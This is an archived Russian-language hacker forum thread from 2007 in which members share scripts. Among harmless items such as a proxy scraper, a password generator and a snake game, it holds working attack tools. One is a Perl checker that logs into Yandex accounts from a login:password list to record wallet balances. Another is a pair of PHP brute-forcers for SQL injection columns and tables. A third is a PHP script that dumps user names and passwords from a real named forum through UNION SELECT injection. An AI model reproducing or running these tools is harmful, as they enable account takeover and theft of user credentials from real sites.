ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 15.01.2007, 20:05
gizmo
Участник форума
Регистрация: 21.12.2006
Сообщений: 179
Провел на форуме:
1428298

Репутация: 65
По умолчанию

Цитата:
Сообщение от nc.STRIEM  
Парсер проксей с сайта http://proxy4free.com
Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity.
Пример работы скрипта: http://striem.org/proxy/
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in public_html/test.php on line 9
 

  #32  
Старый 15.01.2007, 20:16
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

2gizmo
Код:
global $fr,$transparent,$anonymous,$high_anonymity,$elsepr;
девятая строка
 

  #33  
Старый 15.01.2007, 21:26
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Код:
<?
/*    www.proxy4free.com  -  GRABER     (c) nc.STRIEM*/
$transparent=array();
$anonymous=array();
$high_anonymity=array();
echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
function parsproxy($res)
{
  global $fr,$transparent,$anonymous,$high_anonymity,$elsep;
  $strtof='<tr bgcolor="#ffffff" class="text" height=10>';
  $razd=':';
  $razm=sizeof($res);
  for($i=0;$i<$razm;$i++)
  {
     if(strstr($res[$i],$strtof))
     {
         $i++;
         $p=split('>',$res[$i]);
         $p=split('<',$p[1]);
         $proxres=$p[0].$razd;
         $i++;
         $p=split('>',$res[$i]);
         $p=split('<',$p[1]);
         $proxres.=$p[0];
         $i++;
         $p=split('>',$res[$i]);
         $p=split('<',$p[1]);
         if(strstr($p[0],"anonymous"))
           $anonymous[sizeof($anonymous)]=$proxres;
         elseif(strstr($p[0],"high"))
           $high_anonymity[sizeof($high_anonymity)]=$proxres;
         else $transparent[sizeof($transparent)]=$proxres;
       }
  }
}

 $fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
   $ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
   $ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
   $ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

  $fo=fopen("proxy.txt","w");
echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>";
   for($i=0;$i<sizeof($transparent);$i++)
       {fwrite($fo,$transparent[$i]."\n");
       echo $transparent[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";
    for($i=0;$i<sizeof($anonymous);$i++)
    {fwrite($fo,$anonymous[$i]."\n");
        echo $anonymous[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>";
    for($i=0;$i<sizeof($high_anonymity);$i++)
        {fwrite($fo,$high_anonymity[$i]."\n");
        echo $high_anonymity[$i]."<br>";}
echo "</fieldset></td></tr></table>";
  fclose($fo);
 ?>
Вот рабочий =)
 

  #34  
Старый 16.01.2007, 14:50
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

смотри здесь
_http://p-range.info/proxy.txt
 

  #35  
Старый 23.01.2007, 03:58
pop_korn
Участник форума
Регистрация: 13.09.2005
Сообщений: 170
Провел на форуме:
483324

Репутация: 92
По умолчанию

yandex money balance checker

Цитата:
#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

######################
#writen#by#popkorn####
######################

$url['0'] = 'http://passport.yandex.ru/passport?mode=auth';
$url['1'] = 'http://money.yandex.ru/';
$proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;

$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');

push @{ $ua->requests_redirectable }, 'POST';

if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
$ua->proxy('http', "http://$proxy/"); };

open(ACCS, "<accs.txt");
open(LOG, ">logs.txt");

@accs = <ACCS>; close (ACCS);

foreach (@accs){

($login, $pass) = split(':',$_);

$pass =~ s/ |\n//;


$ua->cookie_jar($cookie_jar);

$ua->post( $url['0'],
[login => $login,
passwd => $pass]);

my $response = $ua->post($url['1']);

$content = $response->content;

$sum = 'koshel\'ka net';

while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};

print LOG "$login:$pass:$sum\n";
print "$login:$pass:$sum\n";
$sum = '0 =(';

$cookie_jar->clear_temporary_cookies;

}

close (LOG);
 

  #36  
Старый 25.01.2007, 00:14
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

скрипт отображает количество людей просматривающих страницу:
PHP код:
<?
$timelim
=20///лимит времени в секундах допустимого бездействия пользоваеля
session_id("hfJKcbJssJ");
session_start();
$f=1;
if(!isset(
$_SESSION['kolvo'])) 
    
$_SESSION['kolvo']=0;
if(
$_SESSION['kolvo']>0)
{
  for(
$i=0;$i<$_SESSION['kolvo'];$i++)
    if(
$_SESSION['users']['ip'][$i]==$_SERVER['REMOTE_ADDR'])
       {
         
$_SESSION['users']['date'][$i]=date('U');
         
$f=0;
         break;
       }

if(
$_SESSION['kolvo']>0)      
for(
$i=0;$i<$_SESSION['kolvo'];$i++)
   if(
date('U')-$_SESSION['users']['date'][$i]>$timelim)
   { for(
$j=$i;$j<$_SESSION['kolvo']-1;$j++)
        {
         
$_SESSION['users']['date'][$j]=$_SESSION['users']['date'][$j+1];
         
$_SESSION['users']['ip'][$j]=$_SESSION['users']['ip'][$j+1];
        }
     
$_SESSION['kolvo']--;
    }
}
if(
$f)
{
  
$_SESSION['users']['ip'][$_SESSION['kolvo']]=$_SERVER['REMOTE_ADDR'];
  
$_SESSION['users']['date'][$_SESSION['kolvo']]=date('U');
  
$_SESSION['kolvo']++;
}
echo 
"Рыл на странице: ".$_SESSION['kolvo'];
?>
 

  #37  
Старый 25.01.2007, 20:49
cRiLaZ
Новичок
Регистрация: 17.10.2006
Сообщений: 23
Провел на форуме:
144373

Репутация: 104
По умолчанию

Мой скрипт который подбирает количество колонок в скуле:

PHP код:
<?
######################################   if(is_good_boy($nick)){
######################################     echo <<<GreetZ 
########### GraBBerz TeaM ############     - лАмАрЕз
########## www.grabberz.com ##########     - @стериX
######## (c)оудед бай cRiLaZ #########     - Д'кей
######################################     - КоТ777
#### Брут колонок к СКЛ-инжектион ####     - РиДЖи
######### criSQLcolumnsPicler ########     - сиаттак
####         09.01.2007           ####     - Сато и другим...
######################################     GreetZ;
######################################   }
set_time_limit(0);
error_reporting(0);
?>
<html>
<head><title>criScB</title>
<style>
table, td {
    border : 1px dashed #444444;
    background-color : #000000;
    font : 12px courier new;
    color : #888888;
}
input {
    background-color: #000000;
    font:8pt verdana;
    text-align:center;
    color:#cccccc;
}
</style>
</head>

<body text=00ff00 bgcolor=000000>
<form method='post' action="<?echo $PHP_SELF;?>">
<br><br><br>
<table  border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
<tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
<b>SQL columns Picker</b></td></tr>
<tr><td align='center' colspan='2'>
by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
</td>
</tr>

<tr><td width='15%' align='center'><b>Запрос</b></td>
<td width='50%' align='right'><input name='man_zapros' type='text' value="<?if($_post['man_zapros']){echo $man_zapros;}else{echo 'http://crilaz.net.ru/ind.php?fuck=-1+union+select+|cols|/*';}?>" size=40%>
</td>
<tr>
<td rowspan=2 align=center>
<b>Текст</b>
</td>
<td align=right>
<input type='radio'checked name='text_tipe' value='error'>
<input type='text' size='36' value='Ошибки' name='error_text'>
</td>
</tr>
<tr>
<td align=right>
<input type='radio' name='text_tipe' value='good'>
<input type='text' size='36' value='Нужный' name='good_text'>
</td>
</tr>

<tr><td width='15%' align='center'><b>Колонки</b></td>
<td width='50%' align='right'><input name='columns' type='text' value="<?if($_post['columns']){echo $columns;}else{echo '50';}?>" size='40%'>
</td></tr>

<tr>
<td colspan='2' align='right'>
<input type='submit' value='                     Подобрать...                     ' name='gogogogo'>
</td>
</tr>
</table>
</form><br><br>
<?
if($_POST["gogogogo"]){
    
$man_zapros       htmlspecialchars($_POST['man_zapros']);
    
$arr_url             parse_url($_POST['man_zapros']); 
    
$host             $arr_url['host'];
    
$columns          $_POST['columns'];
    if((int)
$columns>250){echo "<script>alert('Колонок не может быть больше 250!');</script>";}
    if(
$_POST['text_tipe']=="error"){
        
$need_text=$error_text;} 
    else{
        
$need_text=$good_text;}
    
$col_num             "";
    
$content          "";

    for(
$q=1;$q<=$columns;$q++){
        
$bad_col_num.=$q.",";
        
$good_col_num=substr($bad_col_num,0,(count($col_num)-2));
        
        
$request=str_replace("|cols|",$good_col_num,$man_zapros);
        
$zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
        
$soket=fsockopen("www.".$host80$errno$errstr10) or die ("$errstr ($errno)");
        
fwrite($soket$zapros);
        while(!
feof($soket)){
            
$content.=fgets($soket);}
        
//@$hell_words=eregi($need_text, $content);
        
if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
            echo 
"<br><font color='00ff00'>$request</font>";} 
        else{
            echo 
"<br><font color='ff0000'>$request</font>";}
        
$content="";
        
$request="";
    }
}
?>
А этот аналогично бодбирает названия таблиц или колонок, чего захотите вобщем

PHP код:
<?
######################################   гРит3ы: if(is_good_boy($nick)){
######################################     echo <<<freind 
########### GraBBerz TeaM ############     - лАмАрЕз
########## www.grabberz.com ##########     - @стериX
######## (c)оудед бай cRiLaZ #########     - Д'кей
######################################     - КоТ777
## Брут имен к колонкам и таблицам ###     - РиДЖи
########## criSQLtableBruter #########     - сиаттак
############# 14.01.2007 #############     - Сато и другим
######################################     freind;
######################################   }
set_time_limit(0);
error_reporting(0);
?>
<html>
<head><title>criStB</title>
<style>
table, td {
    border : 1px dashed #444444;
    background-color : #000000;
    font : 12px courier new;
    color : #888888;
}
input {
    background-color: #000000;
    font:8pt verdana;
    text-align:center;
    color:#cccccc;
}
</style>
</head>

<body text=00ff00 bgcolor=000000>
<form method='post' action="<?echo $PHP_SELF;?>">
<br><br><br>
<table  border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
<tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
<b>SQL tables Bruter</b></td></tr>
<tr><td align='center' colspan='2'>
by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
</td>
</tr>

<tr><td width='15%' align='center'><b>Запрос</b></td>
<td width='50%' align='right'><input name='man_zapros' type='text' value="http://crilaz.net.ru/ind.php?fuck=-1+union+select+1,2+from+|word|/*" size=40%>
</td>
<tr>
<td rowspan=2 align=center>
<b>Текст</b>
</td>
<td align=right>
<input type='radio'checked name='text_tipe' value='error'>
<input type='text' size='36' value='Ошибки' name='error_text'>
</td>
</tr>
<tr>
<td align=right>
<input type='radio' name='text_tipe' value='good'>
<input type='text' size='36' value='Нужный' name='good_text'>
</td>
</tr>

<tr><td width='15%' align='center'><b>Словарь</b></td>
<td width='50%' align='right'><input name='slovar' type='text' value='slovar.txt' size='40%'>
</td></tr>

<tr>
<td colspan='2' align='right'>
<input type='submit' value='                     Подобрать...                     ' name='gogogogo'>
</td>
</tr>
</table>
</form>
<?
if($_POST["gogogogo"]){
    
$man_zapros htmlspecialchars($_POST['man_zapros']);
    
$arr_url    parse_url($_POST['man_zapros']); 
    
$host       $arr_url['host'];
    
$brute_file $_POST['slovar'];
    if(
$_POST['text_tipe']=="error"){
        
$need_text=$error_text;} 
    else{
        
$need_text=$good_text;}
    
$content    "";
    
$brute_arr=file("$brute_file") or die ("Невозможно открыть файл со словарем!");
    foreach(
$brute_arr as $value){        
        
$request=str_replace("|word|",$value,$man_zapros);
        
$zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
        
$soket=fsockopen("www.".$host80$errno$errstr10) or die ("$errstr ($errno)");
        
fwrite($soket$zapros);
        while(!
feof($soket)){
            
$content.=fgets($soket);}
        if((
$_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
            echo 
"<br><font color='00ff00'>$request</font>";} 
        else{
            echo 
"<br><font color='ff0000'>$request</font>";}
        
$content="";
        
$request="";
    }
}
?>
(многие вещи не проверял, т.к. не люблю писать всякую чушь)
Пример работы можно посмотреть сдесь:
http://crilaz.grabberz.com/tools/SQL/criScP.php - колонки
http://crilaz.grabberz.com/tools/SQL/criStB.php - таблицы

Последний раз редактировалось cRiLaZ; 25.01.2007 в 21:35..
 

  #38  
Старый 08.02.2007, 12:35
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Генерация пароля
PHP код:
<?php 
print "<body  BGcolor=Black TEXT=White>";
print 
"<form action=$PHP_SELF method=post>\nСимволов: <INPUT NAME=\"lenght[]\"><br>"
print 
"</select>\n<br><input type=submit value=Сгенерировать>\n<br>"
print 
"</form>"


$symb "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*()_+#№-=<>`"
$count strlen($symb)-1
if(empty(
$lenght)) {exit();} 
else 

foreach (
$lenght as $digit
print 
"<b>Ваш пароль:</b><br>"
for(
$i=0$i <= ($digit-1); $i++) 

$rand rand(0$count); 
print 
"<font face=verdana size=2 color=lime>$symb[$rand]"

print 
"</font><HR width=100%>"

?>
 

  #39  
Старый 10.02.2007, 01:09
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

Очень нужный и полезный каждому хэкиру скрипт =) :
PHP код:
#!/usr/bin/perl
use strict;
use 
Tk;
use 
Data::Dumper;

my $mw MainWindow->new(-title=>"Super Nibbles!");

my $score 0;
my $start time;

my $score_board $mw->Label()->pack();
$score_board->configure(-text => "Score: $score");
my $board $mw->Canvas(-width => 600, -height => 400)->pack();
$mw->bind("<Left>" sub set_direction(0) });
$mw->bind("<Right>"sub set_direction(1) });
$mw->bind("<Up>"   sub set_direction(2) });
$mw->bind("<Down>" sub set_direction(3) });


Tk::After->new($mw,150,'repeat'sub move() } );

$board->createGrid(0,0,10,10 );

my $moves = [ [-10], [ 10], [ 0,-1], [ 01] ];
my $food  = [  ];
my $food_size = [1,1,1,1,1,3,5];
my $food_color = {
                 
=> 'green',
                 
=> 'yellow',
                 
=> 'purple' };



place_food() for (1..5);

my $snake = {
          
direction => 0,
          
blocks    =>[ [10,5], [11,5], [12,5] ],
          
food      => 0,
};

sub update_score_board {
  
$score_board->configure(-text => "Score: $score Time: " . (time $start));
}

sub set_direction {
    
my $dir shift;
    
my $cur $snake->{direction};
    
move() if ($dir == $cur);
    
unless ( ($cur == and $dir == 0) or
             (
$cur == and $dir == 1) or
             (
$cur == and $dir == 3) or
             (
$cur == and $dir == 2) ) {
                 
$snake->{new_direction} = $dir ;
    }
}

sub in_bounds {
    
my ($x,$y) = @_;
    return 
if ($x >= and $x <= 59 and $y >= and $y <= 39);
    return 
0;
}


sub hit_food {
    
my ($x,$y) = @_;
    for 
my $block (@$food) {
        if (
$x == $block->[0] and $y == $block->[1]) {
           
my $hits $block->[2];
           
$block undef;
           
$food = [ grep defined $_ } @$food ];
           return 
$hits;
        }
    }
    return 
0;
}

sub hit_snake {
    
my ($x,$y) = @_;
    for 
my $block (@{$snake->{blocks}}) {
        if (
$x == $block->[0] and $y == $block->[1]) {
           return 
1;
        }
    }
    return 
0;
}

sub place_food {
    
my $x undef;
    
my $y;
    while ( !
defined $x or
           !
in_bounds($x,$y) or
            
hit_food($x,$y)   or
            
hit_snake($x$y) )
    {
        
$x int(rand 60);
        
$y int(rand 40);
    }
    
push @$food, [$x,$y$food_size->[int(rand @$food_size)]];
}

sub move {
    if (
exists $snake->{new_direction}) {
        
$snake->{direction} = $snake->{new_direction};
        
delete $snake->{new_direction};
    }
    
my ($xc,$yc) = @{$moves->[ $snake->{direction} ] };
    
my $last_pos $snake->{blocks}->[0];
    
my $new_pos  =[$last_pos->[0] + $xc$last_pos->[1] + $yc];
    if (
in_bounds( @$new_pos ) && !hit_snake(@$new_pos) ) {
       
unshift  @{$snake->{blocks}}, $new_pos;
       
my $hits hit_food(@$new_pos);
       if (
$hits) {
          
warn "Place new food ($hits)";
          
place_food();
          
show_food();
          
$snake->{food} += $hits;
          
$score += $hits;
       }

       if (
$snake->{food} > 0) {
          
$snake->{food}--;
       } else {
          
pop   @{$snake->{blocks}};
       }
       
show_snake();
    } else {
       
$mw->destroy;
       die 
"You died";
    }
    
update_score_board();
}



sub show_snake {
    
$board->delete('snake');
    for 
my $block (@{$snake->{blocks}}) {
        
block($board$block->[0], $block->[1], 'red''snake');
    }
}

sub show_food {
    
$board->delete('food');
    for 
my $block ( @$food ) {
        
block($board$block->[0], $block->[1], $food_color->{$block->[2]}, 'food');
    }
}

show_snake();
show_food();


MainLoop;

sub block {
    
my ($canvas,$x,$y,$color$tag) = @_;
    
$color ||= 'red';
    
$canvas->createRectangle($x*10,$y*10,($x+1) * 10, ($y 1) *10, -fill=> $color, -tags => [$tag]);


Последний раз редактировалось Digimortal; 10.02.2007 в 01:12..
 

  #40  
Старый 16.02.2007, 00:27
cRiLaZ
Новичок
Регистрация: 17.10.2006
Сообщений: 23
Провел на форуме:
144373

Репутация: 104
По умолчанию

надоели те, кто просит вытащить базу? Посылай их на... , тьфу ты сюда то есть.
Снабдил обильным количеством коментов, так что не надо стучать и просить переделать для Вас, лучше почитайте книжечку, это полезнее.
PHP код:
<?
/*************************************************
 *            15.02.2007 22:00-23:12             *
 *   супер пупер скрипт для вытаскивания баз     *
 *                                               *
 *                                               *
 *            (c)одед бай cRiLaZ                 *
 *              (GraBBerZ TeaM)                  *
 *                                               *
 *           Приват в МИР!!!!!!!!!               *
 *        протева закрытых сорцов ;)             *
 ************************************************/
/*конфиг*/
$host="forum.tomsk.ru"#хост
$how_much=4# скока раз повторять цикл
/*функция, пишущая в файл sql.txt*/
function input_into($text)
{
    
$a_file=fopen("./sql.txt","a+");
    
fputs($a_file,"$text");
    
fclose($a_file);
}
/*собсно цикл*/
for($q=1;$q<=$how_much;$q++)
{
    
/*сдесь все, что после хоста*/
    
$string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,CHAR(45,45),user_pass,CHAR(45,45,45)),null,null,null,null,null,null,null,null+FROM+forum_user+WHERE+id=$q/* HTTP/1.0\n\n";
    
/*формируем запрос к серву, в разных скулях тут по разному нада поставить*/
    
$request ="GET http://".$host."/".$string_query." HTTP/1.1\n";
    
$request.="Host: ".$host."\n";
    
$request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
    
$request.="Connection: keep-alive\n";
    
/*открываем сокет*/
    
$soket=fsockopen($host,80,$errno,$errstr,13); #13 )))
    
fwrite($soket,$request); #пишем в сокет
    
while(!feof($soket)){            #
            
$content.=fgets($soket);}#читаем
    
fclose($soket); #закрываем
    /*регулярка*/
    
ereg("(---(.*)---)",$content,$infa);
    
/*пишем в файл результаты*/
    
input_into("$q)".$infa[0]."\n");
    
/*обнуляем все, ваще то нада тока контент, но мы же примерные*/
    
$content="";
    
$params="";
    
$request="";
}

/*************************************************
 * а это для тех, кто в доспехах ;)
 * в общем регулярка думаю все понятно 
 * "---" - это начало и конец строки, 
 * "(.*)" - это любые значения. 
 * Т.е. в массив будет попадать все следующего вида 
 * "---login:pwd:mail---", если канешна в пассе, логине и т.д. нету "---".
 * Ну наверно все, скуль для испытаний я взял у [sql].
 * Просьба нащет орфографии не че не писать!!! 
 * Пешу так спициальна по своим соображениям! ;)
 ************************************************/
?>

Последний раз редактировалось cRiLaZ; 16.02.2007 в 00:30..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ